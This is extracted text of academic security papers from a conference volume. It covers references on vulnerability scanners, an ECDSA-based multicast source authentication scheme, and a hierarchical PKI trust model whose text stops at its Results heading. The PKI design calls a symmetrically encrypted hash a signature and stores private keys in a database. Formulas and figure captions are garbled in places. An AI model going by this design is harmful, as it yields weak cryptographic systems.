We here showed that for the criteria being the “scan time” or “severity of alerts”
will produce different statistics. Based on these, the proposed algorithm tries to rank
vulnerability detection scanners. As with every work, this algorithm also is far from
being perfect. Ambiguous ranking may possible if reports are biased or erroneous.
Algorithm does not have the capability to predict similarity between reports, which
when added, will enable the algorithm to rank scanners more accurately. Future
work includes addition of this functionality to improve the results so that better
results can be obtained.

References

1. Kern C, Kesavan A, Daswani N (2007) Foundations of security: what every programmer

needs to know. In: Paperback, 14 Feb 2007
2. Tanenbaum AS, Wetherall DJ. Computer networks, 5th edn. Prentice Hall, Upper Saddle
River
Performance Analysis of Vulnerability Detection … 399

3. Cisco.com (2015) Cisco annual security report. http://www.cisco.com/web/offer/gist_ty2_

asset/Cisco_2014_ASR.pdf
4. Sili M (2010) Security vulnerabilities in modern web browser architecture. In: MIPRO,
Opatija, Croatia, pp 1240–1245
5. Johari R, Sharma P (2012) A survey on web application vulnerabilities (SQLIA,XSS)
exploitation and security engine for SQL injection. In: International conference on
communication systems and network technologies, pp 453–458. https://doi.org/10.1109/
csnt.2012.104
6. Fonseca J (2014) Evolution of web security mechanisms using vulnerability and attack
injection. IEEE Trans Dependable Secur Comput 11(5):440–453
7. Duraes JA, Madeira HS (2006) Emulation of software faults: a field data study and a practical
approach. IEEE Trans Software Eng 32(11)
8. Avancini A, Ceccato M (2011) Security testing of web applications: a search based approach
for cross-site scripting vulnerabilities. In: 11th IEEE international working conference on
source code analysis and manipulation, pp 85–94. https://doi.org/10.1109/scam.2011.7
9. Wang X (2010) Hidden web crawling for SQL injection detection. In: Proceedings of
IC-BNMT2010. IEEE, pp 14–18
10. Dessiatnikoff A (2011) A clustering approach for web vulnerabilities detection. In: 17th IEEE
Pacific rim international symposium on dependable computing, pp 194–203
11. Damjanovic V, Djuric D (2010) Functional programming way to interact with software
attacks and vulnerabilities. In: Third international conference on software testing, verification,
and validation workshops. IEEE, pp 388–393. https://doi.org/10.1109/icstw.2010.53
12. Buja G, Jalil KBA, Mohd Ali FBH, Abdul TF (2014) Detection model for SQL injection
attack: an approach for preventing a web application from the SQL injection attack. In: IEEE
Symposium on Computer Applications & Industrial Electronics (ISCAIE), Penang, Malaysia,
pp 60–64
13. Owasp.org (2015) OWASP vulnerable web applications directory project—OWASP. https://
www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
14. Acuart, http://testphp.vulnweb.com/
15. Vicnum Project, http://vicnum.ciphertechs.com/
16. Web Scanner Test Site, http://www.webscantest.com/
17. Zero Bank, http://zero.webappsecurity.com/
Performance Evaluation of Multicast
Source Authentication Scheme

Yogendra Mohan, C. Rama Krishna and Karan Singh

Abstract Multicast is a one to group communication. The applications of multicast

are broadcasting stock quotes, videoconferencing, and software distribution. The
deployment of efficient and secure communication mechanism is hindered because
of the lack of security. There are various schemes such as simple hash scheme, hash
tree scheme, and hash tree signature scheme. But these existing approaches also
suffer from communication overhead and computation overhead. To solve the
major problem of security concern is solved with support of source authentication
mechanism. The purpose of our work is to evaluate the performance of multicast
source authentication. The objectives of the proposed work are to reduce the
communication overhead and computation cost of multicast communication
system. The proposed work is implemented in QualNet 5.1.2.

Keywords Multicast communication ECDSA Source authentication



ECCSA Elliptic curve cryptography Hash tree Non-repudiation

1 Introduction

The large-scale development of Internet and use of electronics meant for commu-
nication resulted the new digital era of communication. The data or information can
be sent to various network like unicast, broadcast, multicast, etc. In the case of

Y. Mohan (&)
CSED, NERIST, Nirjuli 791109, Arunachal Pradesh, India
e-mail: [email protected]
C. R. Krishna
NITTTR, Chandigarh 160019, India
e-mail: [email protected]
K. Singh
School of Computer & Systems Sciences, Jawaharlal Nehru University,
New Delhi 110067, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 401

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_38
402 Y. Mohan et al.

unicast, there is one-to-one communication, while in case of broadcast one-to-all

communication and in case of multicast the communication is between one source
to a group of destinations. The demand of multipoint communications (multicast)
among various parties is increasing. Unicast communications are overheaded and
underutilized. Multicasting is increasing day by day for various applications such as
video on demand (VoD), IPTv, broadcasting, and stock quotes. The multicast IP
address is well known as class D. That is why, there are many security obstacles
present in multicast. There is a need to maintain security goals to provide security at
source and group ends. In multicast network, the source is not necessarily member
of the group, so untrusted source may cause the rescuer deployment of the multicast
services. Hash and digital signatures are the used for integrity [1], authentication,
and non-repudiation. However, these mechanisms is used to design for
point-to-point [2] transmission, and embedded in multicasting.
Multicast communication suffers from various challenges such as congestion,
security threats, and addressing and the security threat is a biggest challenge in the
multicast. This challenge is handled by source authentication and group authenti-
cation. Source authentication is main objective of proposed work. The researchers
[3–9] have provided the mechanism for source authentication. The authors have
used RSA [10, 11] for digital signature to achieve the source authentication [12],
but existing mechanisms suffered from computation overhead and communication
overhead. To solve these problems, we are proposing source authentication
mechanism which is based on Elliptic Curve Cryptography Digital Signature
Algorithm (ECDSA) [13, 14] for multicasting. The proposed approach is known as
Elliptic Curve Cryptography Source Authentication (ECCSA).

2 Related Works

The literature possess several approaches and models for providing source
authentication in multicast communication. The issues and challenges in the area of
multicast security are described in this section existing multicast source authenti-
cation protocol such as simple off-line chaining, tree chaining, EMSS, and HMSA
are described with their advantages and disadvantages.
In Hash chaining [9] scheme, the working of sender and receiver are described
below into the blocks [15] then the hash of the first block is computed and signs the
hash of the first block. The technique of the hash chaining scheme, sender first
divides message M into 4 blocks {B1, B2, B3, B4} then computes the hash of the first
block, signs it, and transmit to each receiver.
In tree chaining [16, 17] scheme each packet carries the required authentication
information so that each can be individually verifiable. In other words, even if
n − 1 out of n packets are lost the authenticity of the single received packet can be
verified. The stream is signed block by block.
Efficient Multi-chained Stream Signature (EMSS) [18, 19] scheme each packet of
the stream is hash linked [20, 21] to many target packets. Even if some packets are lost;
Performance Evaluation of Multicast Source Authentication … 403

a received packet is verifiable if it remains a hash-link path that relates the packet to a
signature packet. For a given packet, the EMSS chooses target packets randomly.
Jin et al. [22] proposed a hybrid approach (HMSA) in which hash tree and hash
chaining scheme are combined. In this approach, the author has targeted on the
main disadvantage that occurs with both the scheme.
This section explained the existing multicast source authentication protocol with
non-repudiation [11] and their advantages and disadvantages. There is no scheme
which will satisfy all the requirements for multicast source authentication. In the
next section, a novel multicast source authentication with non-repudiation protocol
hash redundancy mitigation scheme for multicast source authentication [23] is
proposed which makes a tradeoff between communications overhead [24] and
robustness [25] against the packet loss.

3 Proposed Method

Multicast communication suffers from various attacks such as distributed denial of

service (DDoS) [26, 27], Message modification [25], replay attacks [28], and
eavesdropping [29]. The attacker uses the source as data transmitter or it works as a
source of data because multicast IP address [30] are well known to everyone. There
is a need to provide a mechanism which protects the source of multicast commu-
nication and mechanism is known as multicast source authentication (MSA). This
subsection is providing the procedure for packet generation procedure [31] and
packet verification [32] procedure as follows:
Sender Side
Packet Generation Procedure: M is a message of any size and message is
divided into blocks. The block size may be 2, 4, 8, 16, 32, 64, and 128(packets)
(Fig. 1).
Hash Generation: The main arguments of the proposed work are based on
following procedure.
• Sender generates Hij (i = 1 and j = 1to 8) of first block root hash [H118] by using
packet hashes H11, H12, H18 and hashes of the internal node. Similarly for others
blocks.
• Sender signed over root hash of the first block.
• Sender sends signed hash of first block root to each receiver
• Sender sends first packets P11 of block one with packet ID, sibling hashes of
current packet path to root (H12, H134, and H158) and second block root hash
[H118].
• Sender sends the second packet with only first packet hash value h11. Because it
uses to generate root hash of the value H11. Because it is used to generate root
hash of the sender side.
• Now, Sender sends the P13 with H14 and H12 only and uses the stored values to
generate the root of the first block.
404 Y. Mohan et al.

(a) H118

H114 H158

H112 H134 H156 H 178

H11 H12 H13 H14 H15 H16 H17 H18

P11 P12 p13 p14 p15 p16 p17 p18

(b) H218

H214 H258

H212 H234 H256 H278

H21 H22 H23 H24 H25 H26 H27 H28

P21 P22 p23 p24 p25 p26 p27 p28

Fig. 1 a Hash generation process for block 1. b Hash generation process for block 2

• Sender sends the P14 with only H13.

• Now, sender sends packets P15, P16, P17, and P18 according to step 4, 5, 6 and 7.
So sender sends P15 with a sibling (H16, H178, H118) with second block root
[H118], P16 with H15 and P17 with H18+H156.
• Repeat all steps for n − 1 block and with last block no need to send the sig-
nature root packet.
Signature Generation & Distribution: Associate the root hash (H) of packet Pi
with signature and does the following:
• Choose a random number k (integer) between 1 to N − 1.
• Generate Hash (P)
• Generate the curve point k
G = (a, b)
• Generate e = a mod N. If e = 0 then go back to step 1
• Generate d ¼ ðk 1 Þðhl þ eda Þ mod N. if d ¼ 0; then go to step 1.
• Sender’s signature for the root hash of packet Pi is the pair of integers (e, d).
Performance Evaluation of Multicast Source Authentication … 405

Receiver Side
To verify Sender signature (e, d) on H: Receiver associated with public key Ca
does the following:
• Verify that e and d are integers between 1 to (N − 1)
• Generate h = H(m)
• Generate t ¼ ðd 1 Þ mod N
• Generate v1 ¼ hl t mod N and v2 ¼ et mod N
• Generate curve point x v1G þ v2 Ca
• If a = 0, then reject the signature, v ¼ a mod N
• Accept the signature if v = e.
Digest Regeneration and Verification of Root Hash
• Receivers first receive the signed hash root of the first block.
• Receivers unsigned the root hash and store it.
• Receivers receive packet P11 and compute H11.
• Now regenerate the hash root of the first block with help of H12, H134, H158 and
computed first block root hash [H118].
Receivers verify the authentication of P11, H12, H134, H58 and second block hash
of root, if stored root hash of block one is identical with the computed root hash of
block one (Fig. 2).
• Receivers store the value H12, H134, H156; second block root hash [H118].
• Receivers get P12 along with previous packet hash, i.e., H11 then it computes the
hash [33] of packet P11 and generates first block root hash with the help of store
hashes. If computed first block root hash H118 is identical with stored first block
root H118, so source is authentic along with packet P2.
• Same way receiver received packet P3, P4 and with the help of stored value of
hash to generate the first block root hash H118. The proposed work flow chart is
given in Fig. 3.

4 Result Analysis and Discussion

We use QualNet simulator version 5.0 to simulate our work. QualNet simulator
provides wide a variety of simulations
A platform that can predict wireless wired and mixed platform network and
networking device performance.
406 Y. Mohan et al.

Fig. 2 a Hash verification process of block 1. b Hash verification process of block 2

4.1 Parameters Used

There are following parameters used for implementation of the work are shown in
Table 1.

4.2 Experimental Topology

The general scenario of multicast is shown in Fig. 4. In this topology, there is one
source and there are eight receivers. Source needs to send packet only once then in
the network cloud there are many numbers of routers which makes a copy of the
Performance Evaluation of Multicast Source Authentication … 407

Fig. 3 Flowchart of the proposed work

408 Y. Mohan et al.

Table 1 List of implementation parameters

Implementation parameters Assumed values
Block size 2, 4, 8, 16, 32, 64 (No. of packets)
Packet size 64, 128, 256, 512 (Bits)
Size of SHA-1 20 byte
Size of ECC signature 128 bits
Buffer size 2 block
Simulation time 60 s

Fig. 4 Experimental topology

packet and send to its neighbor routers. Finally, packet is reached to the end router
which makes many copies of packet as the number of receivers in a particular
multicast group then transmit the packet to that entire receiver.

4.3 Result Analysis

There are many schemes [34, 35] discussed in literature survey and they used the
RSA for source authentication for multicasting. According to NIST recommenda-
tion, achieving 128-bit security means that the RSA key should be at least 3072 bits
although the same security can be provided using Elliptic Curve Cryptography
Performance Evaluation of Multicast Source Authentication … 409

Fig. 5 Block size versus commutation time

Digital Signature Algorithm (ECDSA) [36] with the key of 256 bits. Hence the key
size has been reduced.
Effect of Packet Size on Computation Time
It can be observed from the Fig. 5 that the computation time in case of HTS is
highest and computation time SHS and HTSS are approximately equal and greater
than ECCSA scheme.
Effect of Packet Size on Computation Time
It can be observed from the Fig. 6 that the computation time in case of HTS is
highest and computation time SHS and HTSS are approximately equal and greater
than ECCSA scheme.
Effect of Packet Size on Communication Overhead
It can be observed from the Fig. 7 that the communication overhead is less than
SHS, HTS, and HTSS.
Effect of Packet Size on Verification Rate
It can be observed from the Fig. 8 that the verification rate of ECCSA is greater
than the HTS [37] but less than HTSS and SHS. The verification rate is a little bit
less but the other advantage of ECCSA schemes is less communication overhead
because the ECCSA scheme did not send the redundant data through the channel.
Effect of Packet Size on Communication Overhead

Fig. 6 Block size versus communication overhead

410 Y. Mohan et al.

Fig. 7 Block size versus verification rate

Fig. 8 Schemes versus communication overhead

Figure 8 shows the comparative result of existing schemes and purposed

scheme. The base of comparison is communication overhead on block size 16
(packets). It can be observed from the graph that the communication overhead is
less than the SHS, HTS and HTSS.

5 Conclusions

The multicast source authentication technique known as Elliptic Curve

Cryptography Source Authentication is proposed. This approach is a combination
of two different algorithms which perform its operation according to network
conditions. This scheme is used to reduce the computation overhead and commu-
nication overhead and the scheme have less communication overhead as compared
to SHS, HTS, and HTSS.
The proposed work is for wired multicast communication model but rapid
growth of wireless communication and wireless-based application like military
application, software updates, audio, video conferencing, intelligent houses etc.
Performance Evaluation of Multicast Source Authentication … 411

force us to deploy the techniques for multicast source authentication with

non-repudiation which can efficiently work on wired as well as wireless (hetero-
geneous) environment.

References

1. Challal Y, Bettahar H, Bouabdallah (2004) A taxonomy of multicast data origin

authentication: issues and solutions. IEEE Comm Surveys Tutorials 6(3):34–57
2. Wang Q, Nahrstedt K (2009) Time valid one-time signature for time-critical multicast data
authentication. In: IEEE INFOCOM, Rio de Janeiro
3. Balasubramanian K, Roopa R (2012) HTSS: hash tree signature scheme for multicast
authentication. IJCA proceedings on international conference in recent trends in computa-
tional methods, communication and controls (ICON3C), no 6, pp 28–32, Apr 2012
4. Berbecaru D, Albertalli L, Lioy A (2010) The forward diffusion scheme for multicast
authentication. IEEE/ACM Trans Netw 18(6):1855–1868
5. Perrig A, Canetti R, Song D, Tygar J (2001) Efficient and secure source authentication for
multicast. In: Proceedings of network and distributed system security symposium
(NDSS-2001), vol 1, pp 35–46
6. Park JM, Chong E, Siegel H (2002) Efficient multicast packet authentication using signature
amortization. In: Proceedings of the IEEE symposium on research in security and privacy,
pp 227–240
7. Lin IC, Sung CC (2010) An efficient source authentication for multicast based on Merkle hash
tree. In: Proceedings of international conference on intelligent information hiding and
multimedia signal processing (IIH-MSP-2010), pp 5–8, Oct 2010
8. Perrig A, Tygar JD, Song D, Canetti R (2000) Efficient authentication and signing of
multicast streams over lossy channels. In: IEEE Symposium on Security and Privacy, pp 56–
73
9. Perrig A, Tygar JD et al (2001) Efficient and secure source authentication for multicast. In:
Internet society network and distributed system security, pp 35–46
10. ElKabbany GF, Aslan HK (2012) Efficient design for the implementation of Wong-Lam
multicast authentication protocol using two-levels of parallelism. IJCSI Int Comput Sci Issues
9(3, 1), May 2012
11. Hou A, Yang S et al (2009) Secure elliptic curve generating algorithm over GF. Comput Eng
23:138–140
12. Park JM, Siegel JM et al (2002) Efficient multicast packet authentication using signature
amortization. In: IEEE Symposium on Security and Privacy
13. Chan A (2003) A graph-theoretical analysis of multicast authentication. In: 23rd international
conference on distributed computing systems
14. Shiv kumar S, Umamaheswari G (2014) Certificate authority schemes using elliptic curve
cryptography, rsa and their variants simulation using Ns2. Am J Appl Sci 11(2):171–179
15. Sridevi J, Mangaiyarkarasi R (2011) Efficient multicast packet authentication using digital
signature. Int J Comput Appl® (IJCA). In: International Conference on Emerging Technology
Trends (ICETT)
16. Jin-xin, Zhou ZG et al (2007) A hybrid and efficient scheme of multicast source
authentication. In: Eighth ACIS international conference on software engineering, artificial
intelligence networking and parallel/distributed computing, vol 2, pp 123–125
17. Suri SS, Varghese G (2001) A lower bound for multicast key distribution. In: Proceedings of
IEEE INFOCOM, pp 422–431, Apr 2001
412 Y. Mohan et al.

18. Eltaief H, Youssef H (2010) RMLCC: recovery-based multi-layer connected chain

mechanism for multicast source authentication. In: 35th annual IEEE conference on local
computer networks, Colorado
19. Wong CK, Gouda M, Lam SS (1998) Secure group communications using key graph. In:
Proceedings of the ACM SIGCOMM’98, Canada, pp 68–79, Sept 1998
20. Boneh D, Franklin M et al (2001) Lower bounds for multicast message authentication.
Eurocrypt, LNCS (2045):437–452
21. Borella M, Swider D, Uludag S, Brewster G (1998) Internet packet loss: measurement and
implications for end-to-end Qos. In: International conference on parallel processing, Aug
1998
22. Gennaro R, Rohatgi P (2001) How to sign digital streams. Inf Comput
23. Pannetrat A, Molva R (2003) Efficient multicast packet authentication. In: Proceedings of the
ISOC network and distributed system security symposium, pp 251–262, Feb 2003
24. Qing-Hai A, Lu X et al (2012) Research on design principles of elliptic curve public key
cryptography and its implementation. In: International conference on computer science and
service system 2012
25. Perrig A, Canetti R, Tygar JD, Song D (2004) Efficient authentication and signing of
multicast streams over lossy channels. In: Proceeding IEEE symposium on security and
privacy (SP ’00), pp 56–75, Feb 2004
26. Solum E, Chakravarthy R (2009) Modular over-the-wire configurable security forlonglived
critical infrastructure monitoring systems. In: Proceedings of 3rd ACM international
conference on distributed event-based systems (DEBS 2009), Nashville, TN, July 2009
27. Choi S (2005) Denial-of-service resistant multicast authentication protocol with prediction
hashing and one-way key chain. In: Seventh IEEE international symposium on multimedia
(ISM ’05), Dec 2005
28. Bergadano F, Crispo B et al (2002) Individual authentication in multiparty communications.
Comput Secur 21(8):719–735
29. Canetti R, Pinkas B et al (1999) Multicast security: a taxonomy and ecient constructions.
INFOCOM
30. Hauser CH, Thanigaina than Manivannan et al (2012) Evaluating multicast message
authentication protocols for use in wide area power grid data delivery services. In: 45th
Hawaii international conference on system sciences
31. Zhou Y, Fang Y (2007) Multimedia broadcast authentication based on batch signature. IEEE
Comm Magazine 45(8):72–77
32. FeiJia and Mario Gerla (2010) Group-based secure source authentication protocol for
VANETs. Workshop on Heterogeneous, Multi-hop Wireless and Mobile Networks, IEEE
33. Challal Y, Bouabdallah A (2004) A taxonomy of multicast data origin authentication: issues
and solutions. IEEE Commun Surv Tutorials—COMSUR 6(1–4):34–57
34. Bergadano F, Crispo B (2000) Individual single source authentication on the MBone. In:
IEEE international conference on multimedia and expo
35. Fuloria F, Alvarez F (2010) The protection of substation communications. In Proceedings of
SCADA security scientific symposium, Jan 2010
36. Bai Z, Yang H, Zhang W (2011) Study on fast implementation of prime-field ECC. Commun
Technol 12(87–89):92
37. Pang S, Liu S, Cong F, Yao Z (2011) An efficient scalar multiplication algorithm on
montgomery-form elliptic curve. Acta Electronica Sinica 04:865–868
Performance Evaluation of Multicast Source Authentication … 413

Author Biographies

Yogendra Mohan has completed his ME (Computer science and Engineering) and is currently
working as Assistant Professor in the Department of Computer science and Engineering, North
Eastern Regional Institute of Science and Technology (deemed to be university—MHRD,
Government of India), Nirjuli, Itanagar, Arunachal Pradesh, India. Before he joined NERIST, he
worked as Assistant Professor in various colleges of AKTU, Lucknow, for more than 10 years. He
also worked as software developer for 2 years. His areas of research are computer network security
and cloud computing.

Dr. Rama Krishna received B.Tech. from JNTU, Hyderabad; M.Tech. from Cochin University of
Science and Technology, Cochin; and Ph.D. from IIT Kharagpur. He is Senior Member, IEEE,
USA. Since 1996, he is working with the Department of Computer Science & Engineering,
National Institute of Technical Teachers’ Training & Research, Chandigarh, and currently holding
the position of Professor and Head. His areas of research interest include computer networks,
wireless networks, cryptography and cyber security, and cloud computing. To his credit, he has
more than 80 research publications in referred international and national journals and conferences.
He acted as Associate Editor for International Journal of Technology, Knowledge and Society. He
is a member in advisory/technical committees of many national and international journals and
conferences and also chaired many technical sessions. He is a reviewer of Elsevier Journal of
Vehicular Communications, Elsevier Journal of Computers & Security, Elsevier Journal of
Information and Software Technology. He has 20 years of experience in organizing more than 100
training programs in the upcoming areas of CSE and IT for the faculty of engineering colleges,
polytechnics, and industry professionals. He is instrumental in launching various initiatives at
NITTTR Chandigarh toward paperless office.

Dr. Karan Singh has completed his B.Tech. (Computer Science & Engineering) from Kamala
Nehru Institute of Technology, Sultanpur, in 2004 and M.Tech. (Computer Science &
Engineering) from Motilal Nehru National Institute of Technology, Allahabad, UP, in 2006. He
has completed his Ph.D. (Computer Science & Engineering) from Motilal Nehru National Institute
of Technology, Allahabad, UP, in 2010. He has more than 10 years of experience in research and
teaching. Currently, he is associated with School of Computer and Systems Sciences, JNU, New
Delhi, India. His research areas are computer network and information security. He supervises 23
research candidates. He has more than 40 research papers (journal, IEEE conferences, national and
international conferences) and 2 are accepted. He is the reviewer of conference and journal papers.
He worked as General Chair of 9th International Conference, QShine 2013. He was an organizer of
the workshop with ICUM Conference, Russia, and trying to open a research platform in India. He
had taught more than 10 subjects to PG/UG classes. He was involved in many administrative
activities. He has designed a computer laboratory. He is a professional/life member of various
bodies such as Association for Computing Machinery (ACM), New York; Computer Science
Teachers Association (CSTA), USA; Computer Society of India (CSI), Secunderabad, India;
Cryptology Research Society of India (CRSI), Kolkata, India; Institute of Electrical and Electronics
Engineers (IEEE), USA; International Association of Computer Science and Information
Technology (IACSIT), Singapore; Institute for Computer Sciences, Social-Informatics and
Telecommunications Engineering (ICST), America; International Association of Engineers
(IAENG), Hong Kong; Association of Computer Electronics and Electrical Engineers (ACEEE),
India; Internet Society (ISOC), USA; Academy & Industry Research Collaboration Center (AIRCC).
Design and Implementation of a Secure
Hierarchical Trust Model for PKI

Sarvesh Tanwar and K. V. Prema

Abstract Public-Key Infrastructure (PKI) provides the authenticity of the public

keys for a particular user. The public key is embedded in Digital Certificates.
Therefore we tried to develop a specialized Hierarchical Trust Model. In this digital
certificates are created using RSA of 2048 bits for key generation and combination
of symmetric and asymmetric cryptography for the purpose of the security. As RSA
is not suitable for large message encryption, we used AES-128 bit symmetric key
for signing the information. The private key is stored locally on Machine, that is
why sensitive information is stored as attributes of an Object. The object of a class
is converted into Byte Array. This Byte Array is stored in BLOB data type of the
database. The data is retrieved from MySQL database from BLOB data type field.
This Byte Array is then converted into an object. The required data is extracted
from the object.

Keywords RSA
MySQL
Object
Byte array

1 Introduction

Organizations need enhanced security for data and strong credentials for identity
management. Digital certificates are used for secure data and proper authentication
from users and computers both within and outside the organization. Most com-
monly used certificates are Digital Certificates, which are part of the public key
infrastructure (PKI). A PKI is the combination of software, hardware, key gener-

S. Tanwar (&)
Department of CSE FET, Mody University of Science & Technology,
Laxmangarh, India
e-mail: [email protected]
K. V. Prema
Department of CSE, Manipal Institute of Technology, MAHE, Manipal,
Karnataka, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 415

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_39
416 S. Tanwar and K. V. Prema

ation, encryption technologies, certificate generation processes, and services that

enable an organization to secure its communications and business transactions. PKI
enables secure communications and business transactions by the exchanging digital
certificates between authenticated users and trusted resources [1].

2 Trust Model

A trust model provides a framework for building a trust relationship among the
entities. The implementation of a PKI requires ensuring the trust relationship among
the end entities for a secure communication over the unsecured channel. The
awareness of the trust relationships leads to the establishment of a trust model that
the PKI enforces [2].

2.1 Hierarchical Trust Model

The hierarchical trust model is like an upside-down tree structure, root is the
starting point of trust [3]. All nodes of the model have to trust the root CA, and keep
a root CA’s public-key certificate [4]. The Root CA’s self-signed certificate is used
for signing other CA certificates and its subordinate CA’s certificate. It can be a
public trusted company such as Verisign.
In hierarchical trust model, CAs are assembled under a common root CA, which
issues certificates to Sub CAs. The hierarchy can have an arbitrary number of
levels, usually, it has two levels: Root CA and certificate issuing CAs [5]. It has a
single root CA and is holding all certificates; all end-users refer to and trust it for all
transaction. Hierarchical Model can also have Registration Authorities (RAs) which
are the initial processing points of user’s identification and issues key pairs. RA
produces flexibility for smaller groups by allowing them to have their own local and
customized services.
(a) Root CA
Root CA is trust anchor for all the users like Controller of Certifying
Authorities (CCA). All nodes have to trust the root CA, and keep the root CA’s
public key certificate. Root CA do the cross certification between two users to
communicate. It generates certificates for the intermediate/Sub CAs, which in
turn generates certificates for the leaf CAs, and the leaf CAs generate certifi-
cates for the end entities (users, network devices, applications). Root CA is
self-certified and generates certificate for the CA containing the entity’s identity
and public key [6]. The generated certificate is signed by the Root CA. Its
public keys must be distributed to all entities that trust on its certificate. The
level of trust that a Root CA has depends on the level of acceptance that other
entities have in that Root CA [2].
Design and Implementation of a Secure Hierarchical Trust Model for PKI 417

(b) Sub CA/RA

CA can assign some of his tasks to RA/SubCA. SubCA can issue/sign cer-
tificates on behalf of the CA. Most importantly, an RA is delegated, with the
CA’s explicit permission, the authority to perform tasks on behalf of the CA [7].
A typical function of an RA is to interrogate an end entity’s certificate request
by examining the name, validity dates, applicable constraints, public key,
certificate extensions, and related information. The RA may also be responsible
for performing due diligence tests on the end entity [1].
(c) End user
An end user/entity is any user, computer or node that needs a digital certificate
to identify and doing secure communication among other user or entities. An
end entity first gives a request for a certificate including all the information
required for generating a certificate and send it to its SubCA or RA (Fig. 1).

3 Problem Statement

A certificate represents a trust from the CA to the owner of the certificate [8]. The
advantage of the hierarchical structure is a short and definite path and is easily
traceable back to a trusted node. Our main objective is to integrate security prin-
ciples in a hierarchical model. This model implements authentication (digital cer-
tificates), confidentiality (encryption), and integrity (SHA 512) non-repudiation
(digital signature).

Root CA (level 0)
PKI CERTIFICATE CHAIN

PKI TRUST CHAIN

Sub CA (Level 1) Sub CA(Level 1)

Client Certificates(Level 2) Client Certificates(Level 2)

Fig. 1 Hierarchical trust model in PKI

418 S. Tanwar and K. V. Prema

4 Proposed Approach

We proposed an approach to implement a hierarchical trust model to be more

secure. Any CA/user can trust on Root CA that is responsible for CA to whom he
has issued certificates. This work as follows:
1. Creation of Trust model.
2. When a company wants to do communication with another, it, first of all, checks
its certificate and CA.
3. If both are having certified by the same CA, no issues and they can trust each
other and make transactions.
4. Certificates are stored in Archive or Database for future reference.
5. RFC 2527 and RFC 3280 standards are followed (Fig. 2).

5 Implementation

This approach is implemented on java jdk1.7 version with Xampp for My SQL and
Apache Server. Digital Certificate is a most important module, which is signed by
CA/Sub CA to sign the certificates and request. For generating digital signature we
used a hybrid approach of cryptography.
Symmetric key encryption—Message Digest (MD) is calculated using an
instance of SHA-512. Then MD is encrypted with a shared key. For security
purpose, the shared key is encrypted with the receiver’s public key so that key
cannot be decrypted by anyone else who does not possess the matching private key
and also ensure that the public key is associated with the user.

CA-1 CA-2

User User

Internet

Root-CA

CA1 CA2

User User User

Fig. 2 Proposed approach

Design and Implementation of a Secure Hierarchical Trust Model for PKI 419

Digital signatures—Encrypted MD is signed with the sender’s private key and

can be verified by anyone who has access to the sender’s public key. This verifi-
cation proves that the sender has access to the private key, and the public key is
binding in the certificate. This also ensures that the message has not been tampered/
altered with, as any manipulation of the message will result in changes to the
encoded message digest, which otherwise remains unchanged between the sender
and receiver.
AES symmetric key algorithm is very secure fast and conventional encryption
algorithm, for encrypting the MD, the result is ciphertext. Once the message is
encrypted with this key then AES key is encrypted by the recipient’s public key.
This public key-encrypted AES key is transmitted along with the ciphertext to the
recipient.
Decryption works in the reverse order. The receiver uses his or her private key to
recover the AES key, which he/she uses to decrypt the encrypted ciphertext.

5.1 Steps for Generating Digital Certificate and Signature

1. Root CA is self-certified by generating aself-signed certificate by using RSA for key generation.
keyPairGenerator.initialize(2048);
privkey = pair.getPrivate();
pubkey = pair.getPublic();
2. Sub CA send certificate request to Root CA, so that it will be certified by Trusted Root Server like
Controller of Certifying Authorities (CCA).
3. String
concat1=srno+oo.getFname()+oo.getLname()+oo.getCity()+oo.getState()+oo.getOrgunit()+oo.getOrg()+oo
.getEmail()+oo.getCountrycode()+oo.getMobileno()+oo.getIssuedBy()+oo.getIssuedTo()+oo.getValidto()+
oo.getValidfrom()+publickey.toString();
System.out.println("Fingerprint="+msgdigest);
msgdigest=new sha512().sha512(concat1);
oo.setDigest(msgdigest);
byte[] b=new byte[1024];
b=concat1.getBytes();
msgdigest=sh.new Digest().digestIt(b);
4. Root CA Generate symmetric key by creating the instance of AES-128 bit algorithm.
5. Encrypt the hashed data which is send by the Sub CA in the form of certificate request with symmetric key
that was generated in the step 4.
E [ ( + − )]

6. Encrypt the symmetric key with public key of CA, so that only recipient that is having private key
(private/public key pair) can only decrypt the symmetric key.
E [ _ ]

byte [] bbskey= certWrt.getSemkey();

System.out.println("Symetric key in encrypted mode (byte array form) "+bbskey);
7. Digital Signature and encrypted key is send to Sub CA e.g created in previous step. Encrypted symmetric
key is also stored in CA’s database in BLOB format.
420 S. Tanwar and K. V. Prema

5.2 Digital Signature Verification

1. Connect to Root CA server.

2. Sub CA extract private key from its database that is stored in BLOB format.
3. Calculate message digest on the personal information and public key that is send to CA for certificate
generation (digisign1).
4. Extract encrypted symmetric key and decrypt it by its own private key and
byte[] bb = se.decryptData(bbskey,ownprikey,"RSA/ECB/PKCS1Padding");
System.out.println("Symetric key in decrypted mode (byte array form) "+bb);
convert it into key format.
byte[] bb = se.decryptData(bbskey,ownprikey,"RSA/ECB/PKCS1Padding");
System.out.println("Symetric key in decrypted mode (byte array form) "+bb);
5. Decrypt encrypted hash value with the key that is received in step 4 (digisign2).
ddgg[]=se.decryptData(cipherText,key2,"AES");//RSA/ECB/PKCS1Padding");
System.out.println("Digital Sing in decrypted form byte array "+ddgg);
6. If digisign1== digisign2, Digital signature is verified.
7. After verification of the digital signature, there will be handshake between the Root CA and Sub CA by
sending a hello message that is encrypted with the Root CA’s public key and send this message to Sub CA.
data1 = bos.toByteArray();
final byte[] cipherText1= se.encryptData(data1,pubkey,"RSA/ECB/PKCS1Padding");
hobj.setMsg(cipherText1);
toClient.writeObject((HandShake)hobj);
System.out.println("received message from CA ");
8. Root CA decrypts that message with its own private key.
byte []bb= se.decryptData(hobj.getMsg(),privkey,"RSA/ECB/PKCS1Padding");
ByteArrayInputStream bais1 = new ByteArrayInputStream(bb);
9. Root CA again encrypts the message with Sub CA’s public key and sends back it to Sub CA, so that only
Sub CA can decrypt it.
10. CA decrypts it with its own private key and successful handshake is done between Root CA and Sub CA.
The same steps will also be repeated for making communication between CA and Sub CA.

6 Results

